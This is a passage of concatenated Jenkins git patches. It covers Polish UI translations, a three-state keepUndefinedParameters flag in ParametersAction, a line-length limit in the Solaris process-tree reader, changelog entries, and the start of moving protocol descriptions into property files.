b/core/src/main/resources/hudson/model/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik +# Copyright (c) 2004-2017, Sun Microsystems, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -68,19 +68,13 @@ UpdateCenter.Status.Success=Zako\u0144czono pomy\u015Blnie MyViewsProperty.DisplayName=Moje widoki MyViewsProperty.GlobalAction.DisplayName=Moje widoki FreeStyleProject.Description=To jest podstawowa funkcja Jenkinsa. Jenkins stworzy projekt \u0142\u0105cz\u0105cy dowolny SCM z dowolnym systemem buduj\u0105cym, mo\u017Ce to by\u0107 r\u00F3wnie\u017C wykorzystane do czego\u015B innego ni\u017C budowanie oprogramowania. -# Freestyle project FreeStyleProject.DisplayName=Og\u00F3lny projekt -# Use this node as much as possible Node.Mode.NORMAL=Wykorzystuj ten w\u0119ze\u0142 tak bardzo, jak to tylko mo\u017Cliwe -# Nodes ComputerSet.DisplayName=W\u0119z\u0142y -# Jenkins Hudson.DisplayName=Jenkins -# List View ListView.DisplayName=Widok listy -# My View MyView.DisplayName=M\u00F3j widok -# Only build jobs with label expressions matching this node Node.Mode.EXCLUSIVE=Uruchamiaj te projekty, kt\u00F3re maj\u0105 etykiet\u0119 pasuj\u0105c\u0105 do tego w\u0119\u017C\u0142a Hudson.ViewName=Wszystkie -RunParameterDefinition.DisplayName=Parametr uruchomienia \ No newline at end of file +RunParameterDefinition.DisplayName=Parametr uruchomienia# SCM check out aborted +Hudson.JobAlreadyExists=Projekt o nazwie \u2018{0}\u2019 ju\u017C istnieje diff --git a/core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_pl.properties b/core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_pl.properties new file mode 100644 index 0000000000..44f44ba292 --- /dev/null +++ b/core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Already\ Installed=Ju\u017C zainstalowano diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_pl.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_pl.properties new file mode 100644 index 0000000000..5470171053 --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Password=Has\u0142o +Confirm\ Password=Powt\u00F3rz has\u0142o diff --git a/core/src/main/resources/hudson/security/Messages_pl.properties b/core/src/main/resources/hudson/security/Messages_pl.properties index fd9b353e0e..ec181ceb9a 100644 --- a/core/src/main/resources/hudson/security/Messages_pl.properties +++ b/core/src/main/resources/hudson/security/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# Copyright (c) 2004-2017, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -27,3 +27,4 @@ LDAPSecurityRealm.DisplayName=LDAP HudsonPrivateSecurityRealm.ManageUserLinks.Description=Dodawaj, usuwaj i modyfikuj u\u017Cytkownik\u00F3w, kt\u00F3rzy mog\u0105 si\u0119 logowa\u0107 do Jenkinsa GlobalSecurityConfiguration.DisplayName=Konfiguruj ustawienia bezpiecze\u0144stwa GlobalSecurityConfiguration.Description=Zabezpiecz Jenkinsa, decyduj, kto ma do niego dost\u0119p. +HudsonPrivateSecurityRealm.Details.DisplayName=Has\u0142o diff --git a/core/src/main/resources/hudson/util/HudsonFailedToLoad/index_pl.properties b/core/src/main/resources/hudson/util/HudsonFailedToLoad/index_pl.properties new file mode 100644 index 0000000000..b7180e6120 --- /dev/null +++ b/core/src/main/resources/hudson/util/HudsonFailedToLoad/index_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Error=Wyst\u0105pi\u0142 b\u0142\u0105d diff --git a/core/src/main/resources/hudson/util/Messages_pl.properties b/core/src/main/resources/hudson/util/Messages_pl.properties index 3ed7b35e7e..9f4d414f74 100644 --- a/core/src/main/resources/hudson/util/Messages_pl.properties +++ b/core/src/main/resources/hudson/util/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# Copyright (c) 2004-2017, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,8 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -# In sync ClockDifference.InSync=Zsynchronizowany +ClockDifference.Failed=Nie uda\u0142o si\u0119 zweryfikowa\u0107 +HttpResponses.Saved=Zapisano +FormValidation.ValidateRequired=Wymagane +FormValidation.Error.Details=(wy\u015Bwietl szczeg\u00F3\u0142y) diff --git a/core/src/main/resources/hudson/views/Messages_pl.properties b/core/src/main/resources/hudson/views/Messages_pl.properties index 5028cc784e..e1d95e801c 100644 --- a/core/src/main/resources/hudson/views/Messages_pl.properties +++ b/core/src/main/resources/hudson/views/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2016, Damian Szczepanik +# Copyright (c) 2016-2017, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -27,4 +27,4 @@ StatusColumn.DisplayName=Status LastStableColumn.DisplayName=Ostatnie stabilne BuildButtonColumn.DisplayName=Przycisk budowania LastFailureColumn.DisplayName=Ostatnie niepowodzenie -DefaultViewsTabsBar.DisplayName=Domy\u015Blny widok TabBar +DefaultViewsTabsBar.DisplayName=Domy\u015Blny widok pasek kart diff --git a/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties new file mode 100644 index 0000000000..9b249a7585 --- /dev/null +++ b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties @@ -0,0 +1,30 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +authenticate-security-token.continue=Kontynuuj +jenkins.install.findSecurityTokenMessage=Aby zapewni\u0107, \u017Ce Jenkins jest bezpiecznie uruchomiony przez administratora, \ +has\u0142o zosta\u0142o zapisane do pliku log\u00F3w (nie masz pewno\u015Bci, gdzie go znale\u017A\u0107?) oraz pliku na serwerze:

                                {0}

                                +authenticate-security-token.password.administrator=Has\u0142o administratorskie: +authenticate-security-token.password.incorrect=Has\u0142o nie jest poprawne, sprawd\u017A ponownie celem wprowadzenia poprawnego has\u0142a +authenticate-security-token.error=B\u0142\u0105d: +authenticate-security-token.copy.password=Skopiuj has\u0142o z jednej z powy\u017Cszych lokalizacji i wklej poni\u017Cej. +authenticate-security-token.unlock.jenkins=Odblokuj Jenkinsa +authenticate-security-token.getting.started=Zaczynamy diff --git a/core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_pl.properties b/core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_pl.properties new file mode 100644 index 0000000000..12f565e07d --- /dev/null +++ b/core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Create\ First\ Admin\ User=Stw\u00F3rz pierwszego administratora diff --git a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties index 3253198287..573e01739b 100644 --- a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties +++ b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2016, Damian Szczepanik +# Copyright (c) 2016-2017, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,5 +20,5 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # There are {0} active administrative monitors. -tooltip=-Znaleziono {0} aktywnych powiadomie\u0144 dla administrator\u00F3w +tooltip=Znaleziono {0} aktywnych powiadomie\u0144 dla administrator\u00F3w Manage\ Jenkins=Zarz\u0105dzaj Jenkinsem diff --git a/core/src/main/resources/jenkins/model/Jenkins/_restart_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/_restart_pl.properties new file mode 100644 index 0000000000..e3cd86fa18 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/_restart_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Are\ you\ sure\ about\ restarting\ Jenkins?=Czy na pewno chcesz ponownie uruchomi\u0107 Jenkinsa? +Yes=Tak +Jenkins\ cannot\ restart\ itself\ as\ currently\ configured.=Aktualna konfiguracja uniemo\u017Cliwia Jenkinsowi samodzielne ponowne uruchomienie. diff --git a/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties index a1431d07b8..2f392154fc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# Copyright (c) 2004-2017, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -26,3 +26,4 @@ System\ Message=Komunikat systemowy Workspace\ Root\ Directory=Katalog bazowy przestrzeni roboczej Save=Zapisz Apply=Zastosuj +Configure\ System=Skonfiguruj system diff --git a/core/src/main/resources/lib/form/booleanRadio_pl.properties b/core/src/main/resources/lib/form/booleanRadio_pl.properties new file mode 100644 index 0000000000..095e79de4a --- /dev/null +++ b/core/src/main/resources/lib/form/booleanRadio_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Yes=Tak +No=Nie diff --git a/core/src/main/resources/lib/form/hetero-list_pl.properties b/core/src/main/resources/lib/form/hetero-list_pl.properties new file mode 100644 index 0000000000..173fe7ae1f --- /dev/null +++ b/core/src/main/resources/lib/form/hetero-list_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Add=Dodaj diff --git a/core/src/main/resources/lib/hudson/buildListTable_pl.properties b/core/src/main/resources/lib/hudson/buildListTable_pl.properties index ef2f307708..dc0a5f6c97 100644 --- a/core/src/main/resources/lib/hudson/buildListTable_pl.properties +++ b/core/src/main/resources/lib/hudson/buildListTable_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2017, Sun Microsystems, Inc., Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -23,4 +23,5 @@ Build=Zadanie Click\ to\ center\ timeline\ on\ event=Kliknij aby wycentrowa\u0107 o\u015B czasu na zdarzeniu Console\ output=Logi konsoli -Time\ Since=Czasu temu +Time\ Since=Data +Status=Status -- GitLab From c693f9e4cf9879ade03679d71f2edf7d9b0f2dad Mon Sep 17 00:00:00 2001 From: Sereinity Date: Sat, 7 Jan 2017 21:45:44 +0100 Subject: [PATCH 500/712] Stop warning about not keeping undefined parameters (#2687) * Stop warning about not keeping undefined parameters * Add javadoc on dontKeepUndefinedParameters parameter * keepUndefinedParameters become a three state flag, remove dontKeepUndefinedParameters * Add missing backtick in log message, reword the keepUndefinedParameters log --- .../java/hudson/model/ParametersAction.java | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/model/ParametersAction.java b/core/src/main/java/hudson/model/ParametersAction.java index be29fc4b04..c5a97f925f 100644 --- a/core/src/main/java/hudson/model/ParametersAction.java +++ b/core/src/main/java/hudson/model/ParametersAction.java @@ -67,6 +67,16 @@ import jenkins.util.SystemProperties; @ExportedBean public class ParametersAction implements RunAction2, Iterable, QueueAction, EnvironmentContributingAction, LabelAssignmentAction { + /** + * Three state variable (null, false, true). + * + * If explicitly set to true, it will keep all variable, explicitly set to + * false it will drop all of them (except if they are marked safe). + * If null, and they are not safe, it will log a warning in logs to the user + * to let him choose the behavior + * + * @since TODO + */ @Restricted(NoExternalUse.class) public static final String KEEP_UNDEFINED_PARAMETERS_SYSTEM_PROPERTY_NAME = ParametersAction.class.getName() + ".keepUndefinedParameters"; @@ -306,7 +316,8 @@ public class ParametersAction implements RunAction2, Iterable, Q return parameters; } - if (SystemProperties.getBoolean(KEEP_UNDEFINED_PARAMETERS_SYSTEM_PROPERTY_NAME)) { + String shouldKeepFlag = SystemProperties.getString(KEEP_UNDEFINED_PARAMETERS_SYSTEM_PROPERTY_NAME); + if ("true".equalsIgnoreCase(shouldKeepFlag)) { return parameters; } @@ -315,10 +326,10 @@ public class ParametersAction implements RunAction2, Iterable, Q for (ParameterValue v : this.parameters) { if (this.parameterDefinitionNames.contains(v.getName()) || isSafeParameter(v.getName())) { filteredParameters.add(v); - } else { + } else if ("false".equalsIgnoreCase(shouldKeepFlag)) { LOGGER.log(Level.WARNING, "Skipped parameter `{0}` as it is undefined on `{1}`. Set `-D{2}=true` to allow " + "undefined parameters to be injected as environment variables or `-D{3}=[comma-separated list]` to whitelist specific parameter names, " - + "even though it represents a security breach", + + "even though it represents a security breach or `-D{2}=false` to no longer show this message.", new Object [] { v.getName(), run.getParent().getFullName(), KEEP_UNDEFINED_PARAMETERS_SYSTEM_PROPERTY_NAME, SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME }); } } -- GitLab From 4df0c56ea4013bb37ad2c7a18b57f8b7fa977347 Mon Sep 17 00:00:00 2001 From: Christopher Siden Date: Sat, 7 Jan 2017 12:48:15 -0800 Subject: [PATCH 501/712] [JENKINS-40470] Jobs didn't finish on Solaris 11 Intel node (#2701) * [JENKINS-40470] Jobs didn't finish on Solaris 11 Intel node * make length limit a system property --- .../src/main/java/hudson/util/ProcessTree.java | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/util/ProcessTree.java b/core/src/main/java/hudson/util/ProcessTree.java index 5fae26a4d3..40e30217a5 100644 --- a/core/src/main/java/hudson/util/ProcessTree.java +++ b/core/src/main/java/hudson/util/ProcessTree.java @@ -787,6 +787,14 @@ public abstract class ProcessTree implements Iterable, IProcessTree, private static final byte PR_MODEL_ILP32 = 1; private static final byte PR_MODEL_LP64 = 2; + /* + * An arbitrary upper-limit on how many characters readLine() will + * try reading before giving up. This avoids having readLine() loop + * over the entire process address space if this class has bugs. + */ + private final int LINE_LENGTH_LIMIT = + SystemProperties.getInteger(Solaris.class.getName()+".lineLimit", 10000); + /* * True if target process is 64-bit (Java process may be different). */ @@ -900,7 +908,7 @@ public abstract class ProcessTree implements Iterable, IProcessTree, for( int n=0; n, IProcessTree, for( int n=0; ; n++ ) { // read a pointer to one entry LIBC.pread(fd, m, new NativeLong(psize), new NativeLong(envp+n*psize)); - long addr = b64 ? m.getLong(0) : m.getInt(0); + long addr = b64 ? m.getLong(0) : to64(m.getInt(0)); if (addr == 0) // completed the walk break; @@ -959,7 +967,13 @@ public abstract class ProcessTree implements Iterable, IProcessTree, Memory m = new Memory(1); byte ch = 1; ByteArrayOutputStream buf = new ByteArrayOutputStream(); + int i = 0; while(true) { + if (i++ > LINE_LENGTH_LIMIT) { + LOGGER.finest("could not find end of line, giving up"); + throw new IOException("could not find end of line, giving up"); + } + LIBC.pread(fd, m, new NativeLong(1), new NativeLong(addr)); ch = m.getByte(0); if (ch == 0) -- GitLab From 232ee7780f6437c3201296ea48b4db2db7169980 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 7 Jan 2017 21:41:56 +0100 Subject: [PATCH 502/712] Changelog: Improve the 2.39 changelog entries, noting #2686 and #2688 --- changelog.html | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/changelog.html b/changelog.html index bd405ad7aa..330ae58cbf 100644 --- a/changelog.html +++ b/changelog.html @@ -62,11 +62,15 @@ Upcoming changes

                                What's new in 2.39 (2017/01/02)

                                • - Properties were not passed to Maven command by Maven build step + Properties were not passed to Maven command by Maven build step when the Inject Build Variables flag was not set. (issue 39268)
                                • - Update remoting to 3.4 + Update remoting to 3.4 in order to properly terminate the channel in the case Errors and Exceptions. (issue 39835) +
                                • + Improved Polish and Catalan translations. + (pull 2688 and + pull 2686)

                                What's new in 2.38 (2016/12/25)

                                  -- GitLab From 4911771ee81a125a3980d94c9533431a583e8e56 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 7 Jan 2017 22:07:46 +0100 Subject: [PATCH 503/712] Changelog: Noting #2702, #2699, #2687, #2701, and #2707 --- changelog.html | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 330ae58cbf..68c01705a7 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,21 @@ Upcoming changes

                                  What's new in 2.39 (2017/01/02)

                                  -- GitLab From 995da42d8b5a5950d5ecbbc4767eccaf94efbb16 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 8 Jan 2017 12:51:32 +0100 Subject: [PATCH 504/712] Offload the English descriptions of Remoting protocols to separate property files --- .../main/resources/hudson/cli/CliProtocol/description.jelly | 2 +- .../resources/hudson/cli/CliProtocol/description.properties | 1 + .../main/resources/hudson/cli/CliProtocol2/description.jelly | 2 +- .../resources/hudson/cli/CliProtocol2/description.properties | 1 + .../jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol/description.properties | 2 ++ .../slaves/JnlpSlaveAgentProtocol/description_sr.properties | 2 +- .../jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol2/description.properties | 3 +++ .../slaves/JnlpSlaveAgentProtocol2/description_sr.properties | 2 +- .../jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol3/description.properties | 4 ++++ .../slaves/JnlpSlaveAgentProtocol3/description_sr.properties | 4 ++-- .../jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol4/description.properties | 1 + 15 files changed, 22 insertions(+), 10 deletions(-) create mode 100644 core/src/main/resources/hudson/cli/CliProtocol/description.properties create mode 100644 core/src/main/resources/hudson/cli/CliProtocol2/description.properties create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.properties create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.properties create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.properties create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.properties diff --git a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly index a9e5e4ca7a..55e2c974b5 100644 --- a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly +++ b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from CLI clients. This protocol is unencrypted.} + ${%summary} diff --git a/core/src/main/resources/hudson/cli/CliProtocol/description.properties b/core/src/main/resources/hudson/cli/CliProtocol/description.properties new file mode 100644 index 0000000000..76b368aed3 --- /dev/null +++ b/core/src/main/resources/hudson/cli/CliProtocol/description.properties @@ -0,0 +1 @@ +summary=Accepts connections from CLI clients. This protocol is unencrypted. \ No newline at end of file diff --git a/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly index f96439d702..55e2c974b5 100644 --- a/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly +++ b/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 1 protocol by adding transport encryption.} + ${%summary} diff --git a/core/src/main/resources/hudson/cli/CliProtocol2/description.properties b/core/src/main/resources/hudson/cli/CliProtocol2/description.properties new file mode 100644 index 0000000000..609298c8b4 --- /dev/null +++ b/core/src/main/resources/hudson/cli/CliProtocol2/description.properties @@ -0,0 +1 @@ +summary=Extends the version 1 protocol by adding transport encryption. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly index 67fef746c8..55e2c974b5 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from remote clients so that they can be used as additional build agents. This protocol is unencrypted.} + ${%summary} diff --git 